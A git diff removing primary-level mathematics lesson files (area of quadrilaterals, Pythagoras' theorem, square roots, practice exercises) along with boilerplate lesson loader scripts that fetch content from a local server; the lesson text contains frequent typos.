- 2
- <br />
- <br />
- 1. Find the area of thee figures below:
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Knowledge:
-  <br />
-  <br />
- </span>
- When we talk about quadrilaterals, we understand figures with 4sides, and
- <span style="font-weight: bold;">
-  &nbsp;
- </span>
- opposite sides can be equal or not. e.g the angled trapezium are not equal.
- <span style="font-weight: bold;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a07/a.txt b/Save_Mathematics/P6/map611m21/map611m21a07/a.txt
deleted file mode 100644
index 6e8e28d..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a07/a.txt
+++ /dev/null
@@ -1,285 +0,0 @@
-<p>
- Guided Practice: Properties of Right angled triangle.
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <br />
- AB=6cm(short side)
- <br />
- BC=8cm(short side)
- <br />
- AC=Hypotenus(long side)
- <br />
- <br />
- <span style="font-weight: bold;">
-  How tofind the length of hypotenuse: Pythagora's theorem
-  <br />
-  <br />
-  (AC)
-  <sup>
-   2
-  </sup>
-  =
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  +
- </span>
- <span style="font-weight: bold;">
-  (BC)
-  <sup>
-   2
-  </sup>
-  <br />
-  Therefore: AC=squaroot of
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  +
- </span>
- <span style="font-weight: bold;">
-  (BC)
-  <sup>
-   2
-  </sup>
-  <br />
-  <br />
-  (Diagram of squareoot)
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  =(6cm)
-  <sup>
-   2
-  </sup>
- </span>
- +
- <span style="font-weight: bold;">
-  (8cm)
-  <sup>
-   2
-  </sup>
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  =(6cm*6cm)+(8cm*8cm)
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  =36cm
-  <sup>
-   2
-  </sup>
-  +64cm
-  <sup>
-   2
-  </sup>
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  =100cm
-  <sup>
-   2
-  </sup>
-  <br />
-  AC=squarerooot of 100cm
-  <sup>
-   2
-  </sup>
-  <br />
-  (diagram of squareroot of 100cm
-  <sup>
-   2
-  </sup>
-  )
-  <br />
-  <br />
-  AC=10cm
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  =
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  -
- </span>
- <span style="font-weight: bold;">
-  (BC)
-  <sup>
-   2
-  </sup>
-  <br />
-  AB=squareroot of
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  -
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  <br />
-  (diagram of squareroot)
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  =(10cm)
-  <sup>
-   2
-  </sup>
-  -(8cm)
-  <sup>
-   2
-  </sup>
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
- </span>
- =100cm
- <sup>
-  2
- </sup>
- -64cm
- <sup>
-  2
- </sup>
- <br />
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  =36cm
-  <sup>
-   2
-  </sup>
-  <br />
-  AB=squareroot of 36cm
-  <sup>
-   2
-  </sup>
-  <br />
-  AB=6cm
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (BC)
-  <sup>
-   2
-  </sup>
-  =
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  -
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
- </span>
- <br />
- BC=squareeroot of
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  -
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
- </span>
- <br />
- (diagram of squareroot)
- <br />
- <br />
- BC=squareroot of (10cm)
- <sup>
-  2
- </sup>
- -(6cm)
- <sup>
-  2
- </sup>
- <br />
- <span style="font-weight: bold;">
-  BC=squareroot of 100cm
-  <sup>
-   2
-  </sup>
-  -36cm
-  <sup>
-   2
-  </sup>
-  <br />
-  (diagram o squareroot)
-  <br />
-  BC=squareroot of 64cm
-  <sup>
-   2
-  </sup>
-  <br />
-  BC=8cm
-  <br />
-  (diagram of squareroot)
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a07/description.py b/Save_Mathematics/P6/map611m21/map611m21a07/description.py
deleted file mode 100644
index fdcc38a..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a07/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a07/lesson.js
deleted file mode 100644
index d45c68e..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a07/source.txt b/Save_Mathematics/P6/map611m21/map611m21a07/source.txt
deleted file mode 100644
index 6e8e28d..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a07/source.txt
+++ /dev/null
@@ -1,285 +0,0 @@
-<p>
- Guided Practice: Properties of Right angled triangle.
- <br />
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <br />
- AB=6cm(short side)
- <br />
- BC=8cm(short side)
- <br />
- AC=Hypotenus(long side)
- <br />
- <br />
- <span style="font-weight: bold;">
-  How tofind the length of hypotenuse: Pythagora's theorem
-  <br />
-  <br />
-  (AC)
-  <sup>
-   2
-  </sup>
-  =
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  +
- </span>
- <span style="font-weight: bold;">
-  (BC)
-  <sup>
-   2
-  </sup>
-  <br />
-  Therefore: AC=squaroot of
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  +
- </span>
- <span style="font-weight: bold;">
-  (BC)
-  <sup>
-   2
-  </sup>
-  <br />
-  <br />
-  (Diagram of squareoot)
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  =(6cm)
-  <sup>
-   2
-  </sup>
- </span>
- +
- <span style="font-weight: bold;">
-  (8cm)
-  <sup>
-   2
-  </sup>
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  =(6cm*6cm)+(8cm*8cm)
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  =36cm
-  <sup>
-   2
-  </sup>
-  +64cm
-  <sup>
-   2
-  </sup>
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  =100cm
-  <sup>
-   2
-  </sup>
-  <br />
-  AC=squarerooot of 100cm
-  <sup>
-   2
-  </sup>
-  <br />
-  (diagram of squareroot of 100cm
-  <sup>
-   2
-  </sup>
-  )
-  <br />
-  <br />
-  AC=10cm
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  =
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  -
- </span>
- <span style="font-weight: bold;">
-  (BC)
-  <sup>
-   2
-  </sup>
-  <br />
-  AB=squareroot of
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  -
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  <br />
-  (diagram of squareroot)
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  =(10cm)
-  <sup>
-   2
-  </sup>
-  -(8cm)
-  <sup>
-   2
-  </sup>
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
- </span>
- =100cm
- <sup>
-  2
- </sup>
- -64cm
- <sup>
-  2
- </sup>
- <br />
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
-  =36cm
-  <sup>
-   2
-  </sup>
-  <br />
-  AB=squareroot of 36cm
-  <sup>
-   2
-  </sup>
-  <br />
-  AB=6cm
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold;">
-  (BC)
-  <sup>
-   2
-  </sup>
-  =
- </span>
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  -
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
- </span>
- <br />
- BC=squareeroot of
- <span style="font-weight: bold;">
-  (AC)
-  <sup>
-   2
-  </sup>
-  -
- </span>
- <span style="font-weight: bold;">
-  (AB)
-  <sup>
-   2
-  </sup>
- </span>
- <br />
- (diagram of squareroot)
- <br />
- <br />
- BC=squareroot of (10cm)
- <sup>
-  2
- </sup>
- -(6cm)
- <sup>
-  2
- </sup>
- <br />
- <span style="font-weight: bold;">
-  BC=squareroot of 100cm
-  <sup>
-   2
-  </sup>
-  -36cm
-  <sup>
-   2
-  </sup>
-  <br />
-  (diagram o squareroot)
-  <br />
-  BC=squareroot of 64cm
-  <sup>
-   2
-  </sup>
-  <br />
-  BC=8cm
-  <br />
-  (diagram of squareroot)
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a08/a.txt b/Save_Mathematics/P6/map611m21/map611m21a08/a.txt
deleted file mode 100644
index b9f74ff..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a08/a.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-<p>
- Independent Practice
- <br />
- <br />
- ANSWER THE FOLLOWING
- <br />
- <br />
- 1. A rectangular tabletop whose length is 90cm and width of 60cm.
- <br />
- a)Find its pperimeter
- <br />
- b)Find its area
- <br />
- <br />
- 2.A square field is 150m in side.
- <br />
- a) Find its perimeter
- <br />
- b) Find its area
- <br />
- <br />
- 3.Find the area of a parallelogram with base 18cm and height of 11cm.
- <br />
- <br />
- 4. A trapezium has a height of 24cm.
- <br />
- The parallel sides have lenghts of 48cm and 32cm. Find its aare.
- <br />
- <br />
- 5.A farmer has a field of a Rhombus of sorghum with 248m of long diagonal and 112m of shortes diagonaaal. Find its arrea.
- <br />
- <br />
- 6. A right angled triangular garden has 70m and 240m. Find the length of the Hypothenuse.
- <br />
- <br />
- 7.If the HHypotenuse of a right angled triangle is about 130m ad one of the remaing sides is 10m, find the length of the other side.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a08/description.py b/Save_Mathematics/P6/map611m21/map611m21a08/description.py
deleted file mode 100644
index 27638b9..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a08/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a08',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a08/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a08/lesson.js
deleted file mode 100644
index 61ded1c..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a08/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a08/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a08/source.txt b/Save_Mathematics/P6/map611m21/map611m21a08/source.txt
deleted file mode 100644
index b9f74ff..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a08/source.txt
+++ /dev/null
@@ -1,39 +0,0 @@
-<p>
- Independent Practice
- <br />
- <br />
- ANSWER THE FOLLOWING
- <br />
- <br />
- 1. A rectangular tabletop whose length is 90cm and width of 60cm.
- <br />
- a)Find its pperimeter
- <br />
- b)Find its area
- <br />
- <br />
- 2.A square field is 150m in side.
- <br />
- a) Find its perimeter
- <br />
- b) Find its area
- <br />
- <br />
- 3.Find the area of a parallelogram with base 18cm and height of 11cm.
- <br />
- <br />
- 4. A trapezium has a height of 24cm.
- <br />
- The parallel sides have lenghts of 48cm and 32cm. Find its aare.
- <br />
- <br />
- 5.A farmer has a field of a Rhombus of sorghum with 248m of long diagonal and 112m of shortes diagonaaal. Find its arrea.
- <br />
- <br />
- 6. A right angled triangular garden has 70m and 240m. Find the length of the Hypothenuse.
- <br />
- <br />
- 7.If the HHypotenuse of a right angled triangle is about 130m ad one of the remaing sides is 10m, find the length of the other side.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a09/a.txt b/Save_Mathematics/P6/map611m21/map611m21a09/a.txt
deleted file mode 100644
index b3f87b8..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a09/a.txt
+++ /dev/null
@@ -1,48 +0,0 @@
-<p>
- Evaluation
- <br />
- <br />
- 1. Find
- <br />
- a) the length of the side by a letter x.
- <br />
- b) the perimeter of the rectangle.
- <br />
- <br />
- a) (diagram of angled triangle)
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- b)(diagram of triangle)
- <br />
- <br />
- <br />
- <br />
- 2.Find the area of a trappezium of height of 18cm and parallel sides of 20c and 24cm.
- <br />
- <br />
- 3. A rectangular table top hose length is 130vm and width of 90cm.
- <br />
- a)Find its perimeter.
- <br />
- b) Find its area.
- <br />
- <br />
- 4. Find the lenth of side of the rhombus whose perimeter is 160cm.
- <br />
- <br />
- 5.Find the area of a parallelogram whose base is 12cm and height of 4cm.
- <br />
- <br />
- 6. The total area of a square is 289cm
- <sup>
-  2
- </sup>
- <br />
- a)Find its perimeter.
- <br />
- b)Find its side.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a09/description.py b/Save_Mathematics/P6/map611m21/map611m21a09/description.py
deleted file mode 100644
index 66f25fc..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a09/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a09',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a09/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a09/lesson.js
deleted file mode 100644
index 61adb19..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a09/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a09/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a09/source.txt b/Save_Mathematics/P6/map611m21/map611m21a09/source.txt
deleted file mode 100644
index b3f87b8..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a09/source.txt
+++ /dev/null
@@ -1,48 +0,0 @@
-<p>
- Evaluation
- <br />
- <br />
- 1. Find
- <br />
- a) the length of the side by a letter x.
- <br />
- b) the perimeter of the rectangle.
- <br />
- <br />
- a) (diagram of angled triangle)
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- b)(diagram of triangle)
- <br />
- <br />
- <br />
- <br />
- 2.Find the area of a trappezium of height of 18cm and parallel sides of 20c and 24cm.
- <br />
- <br />
- 3. A rectangular table top hose length is 130vm and width of 90cm.
- <br />
- a)Find its perimeter.
- <br />
- b) Find its area.
- <br />
- <br />
- 4. Find the lenth of side of the rhombus whose perimeter is 160cm.
- <br />
- <br />
- 5.Find the area of a parallelogram whose base is 12cm and height of 4cm.
- <br />
- <br />
- 6. The total area of a square is 289cm
- <sup>
-  2
- </sup>
- <br />
- a)Find its perimeter.
- <br />
- b)Find its side.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a10/a.txt b/Save_Mathematics/P6/map611m21/map611m21a10/a.txt
deleted file mode 100644
index 78497be..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a10/a.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- Remedial:
- <br />
- <br />
- 1.For making a tableto we ccan use different forms or figures such as rentangular, square, triangular, trapezium,parallelogram and Rhombus.
- <br />
- <br />
- 2. Find the length of side marked by a letter y.
- <br />
- <br />
- a)(diagram of a triangle)
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- b)(diagram of a triangle)
- <br />
- <br />
- <br />
- <br />
- 3. A square field has one side of 32cm.
- <br />
- a) Find its perimeter
- <br />
- b) Find its area
- <br />
- <br />
- 4. A rectangular chalboard has length of 6vm and width of 90cm.
- <br />
- a)Find its perimeter
- <br />
- b) Find its area
- <br />
- <br />
- 5. Find the area of a parallelogram whose base is 36cm and height of 12cm.
- <br />
- <br />
- 6. Find the area of a trappezium whose height of 8cm, short base of 4cm and long base of 9cm.
- <br />
- <br />
- 7. Find the area of a Rhombus whose long diagonal iss 40cm and short diagonal of 20cm.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m21/map611m21a10/description.py b/Save_Mathematics/P6/map611m21/map611m21a10/description.py
deleted file mode 100644
index 10ee240..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a10/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m21a10',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m21/map611m21a10/lesson.js b/Save_Mathematics/P6/map611m21/map611m21a10/lesson.js
deleted file mode 100644
index 59ccf0f..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a10/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m21/map611m21a10/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m21/map611m21a10/source.txt b/Save_Mathematics/P6/map611m21/map611m21a10/source.txt
deleted file mode 100644
index 78497be..0000000
--- a/Save_Mathematics/P6/map611m21/map611m21a10/source.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- Remedial:
- <br />
- <br />
- 1.For making a tableto we ccan use different forms or figures such as rentangular, square, triangular, trapezium,parallelogram and Rhombus.
- <br />
- <br />
- 2. Find the length of side marked by a letter y.
- <br />
- <br />
- a)(diagram of a triangle)
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- b)(diagram of a triangle)
- <br />
- <br />
- <br />
- <br />
- 3. A square field has one side of 32cm.
- <br />
- a) Find its perimeter
- <br />
- b) Find its area
- <br />
- <br />
- 4. A rectangular chalboard has length of 6vm and width of 90cm.
- <br />
- a)Find its perimeter
- <br />
- b) Find its area
- <br />
- <br />
- 5. Find the area of a parallelogram whose base is 36cm and height of 12cm.
- <br />
- <br />
- 6. Find the area of a trappezium whose height of 8cm, short base of 4cm and long base of 9cm.
- <br />
- <br />
- 7. Find the area of a Rhombus whose long diagonal iss 40cm and short diagonal of 20cm.
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map612m01/activities.js b/Save_Mathematics/P6/map612m01/activities.js
deleted file mode 100644
index dc9a941..0000000
--- a/Save_Mathematics/P6/map612m01/activities.js
+++ /dev/null
@@ -1,9 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m01a01','blue'],
-['2','2','map6','basic','map612m01a02','blue'],
-['3','3','map6','basic','map612m01a03','blue'],
-['4','4','map6','basic','map612m01a04','blue'],
-['5','5','map6','basic','map612m01a05','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m01/map612m01a01/a.txt b/Save_Mathematics/P6/map612m01/map612m01a01/a.txt
deleted file mode 100644
index 64edb41..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a01/a.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-Introduction
-
-Introduce square as number representing the area of a square, it's root as the length of the side of the square.
-
-The problem in this milestone is to determine the length of the side of a square, given it's area. The examples are restricted to squares where the length is a whole number.
-
-area = side * side or square = root * root
-
-The method is to factor the number representing the area into prime factors.
-
-64 = root * root
-64 = 2 * 2 * 2 * 2 * 2 * 2
-64 = (2 * 2 * 2) * ( 2 * 2 * 2)
-64 = 8 * 8
-
-8 is the square root of 64.
diff --git a/Save_Mathematics/P6/map612m01/map612m01a01/description.py b/Save_Mathematics/P6/map612m01/map612m01a01/description.py
deleted file mode 100644
index 2beddb2..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m01a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m01/map612m01a01/lesson.js b/Save_Mathematics/P6/map612m01/map612m01a01/lesson.js
deleted file mode 100644
index 35e5c5c..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m01/map612m01a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m01/map612m01a01/source.txt b/Save_Mathematics/P6/map612m01/map612m01a01/source.txt
deleted file mode 100644
index 64edb41..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a01/source.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-Introduction
-
-Introduce square as number representing the area of a square, it's root as the length of the side of the square.
-
-The problem in this milestone is to determine the length of the side of a square, given it's area. The examples are restricted to squares where the length is a whole number.
-
-area = side * side or square = root * root
-
-The method is to factor the number representing the area into prime factors.
-
-64 = root * root
-64 = 2 * 2 * 2 * 2 * 2 * 2
-64 = (2 * 2 * 2) * ( 2 * 2 * 2)
-64 = 8 * 8
-
-8 is the square root of 64.
diff --git a/Save_Mathematics/P6/map612m01/map612m01a02/a.txt b/Save_Mathematics/P6/map612m01/map612m01a02/a.txt
deleted file mode 100644
index 9177971..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a02/a.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-The student will be asked to give the root of a perfect square ( < 10 000)
-
-If the answer is not correct, the computer will show the factorization of the number and the division of the factors to form two equal roots.
-
-This activity will continue until the student has mastered the skill.
diff --git a/Save_Mathematics/P6/map612m01/map612m01a02/description.py b/Save_Mathematics/P6/map612m01/map612m01a02/description.py
deleted file mode 100644
index 6e5cf7d..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m01a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m01/map612m01a02/lesson.js b/Save_Mathematics/P6/map612m01/map612m01a02/lesson.js
deleted file mode 100644
index 0155692..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m01/map612m01a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m01/map612m01a02/source.txt b/Save_Mathematics/P6/map612m01/map612m01a02/source.txt
deleted file mode 100644
index 9177971..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a02/source.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-Guided Practice
-
-The student will be asked to give the root of a perfect square ( < 10 000)
-
-If the answer is not correct, the computer will show the factorization of the number and the division of the factors to form two equal roots.
-
-This activity will continue until the student has mastered the skill.
diff --git a/Save_Mathematics/P6/map612m01/map612m01a03/a.txt b/Save_Mathematics/P6/map612m01/map612m01a03/a.txt
deleted file mode 100644
index d330652..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The student will be asked to give the root of a set of perfect squares. 
diff --git a/Save_Mathematics/P6/map612m01/map612m01a03/description.py b/Save_Mathematics/P6/map612m01/map612m01a03/description.py
deleted file mode 100644
index 03fb886..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m01a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m01/map612m01a03/lesson.js b/Save_Mathematics/P6/map612m01/map612m01a03/lesson.js
deleted file mode 100644
index 421b51b..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m01/map612m01a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m01/map612m01a03/source.txt b/Save_Mathematics/P6/map612m01/map612m01a03/source.txt
deleted file mode 100644
index d330652..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The student will be asked to give the root of a set of perfect squares. 
diff --git a/Save_Mathematics/P6/map612m01/map612m01a04/a.txt b/Save_Mathematics/P6/map612m01/map612m01a04/a.txt
deleted file mode 100644
index c796fc8..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a04/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Enrichment
-
-The student will have the opportunity to determine the root of very large perfect squares. 
diff --git a/Save_Mathematics/P6/map612m01/map612m01a04/description.py b/Save_Mathematics/P6/map612m01/map612m01a04/description.py
deleted file mode 100644
index d2b82a4..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m01a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m01/map612m01a04/lesson.js b/Save_Mathematics/P6/map612m01/map612m01a04/lesson.js
deleted file mode 100644
index b340d29..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m01/map612m01a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m01/map612m01a04/source.txt b/Save_Mathematics/P6/map612m01/map612m01a04/source.txt
deleted file mode 100644
index c796fc8..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a04/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Enrichment
-
-The student will have the opportunity to determine the root of very large perfect squares. 
diff --git a/Save_Mathematics/P6/map612m01/map612m01a05/a.txt b/Save_Mathematics/P6/map612m01/map612m01a05/a.txt
deleted file mode 100644
index 0a6ab30..0000000
--- a/Save_Mathematics/P6/map612m01/map612m01a05/a.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Enrichment
-
-The student will be shown a graph of y = x2 to illustrate how rapidly the area increases as the length of a side.
-
-The student will be asked to consider how to find the side of a square where the area is not a perfect square.
-
-The student will be asked to consider finding the cubic root representing the volume of a cube.
-
-The student will be shown a graph of y = x, y = x2, and y = x3 for comparsion.
-
-The student will be introduced to the standard symbol for roots
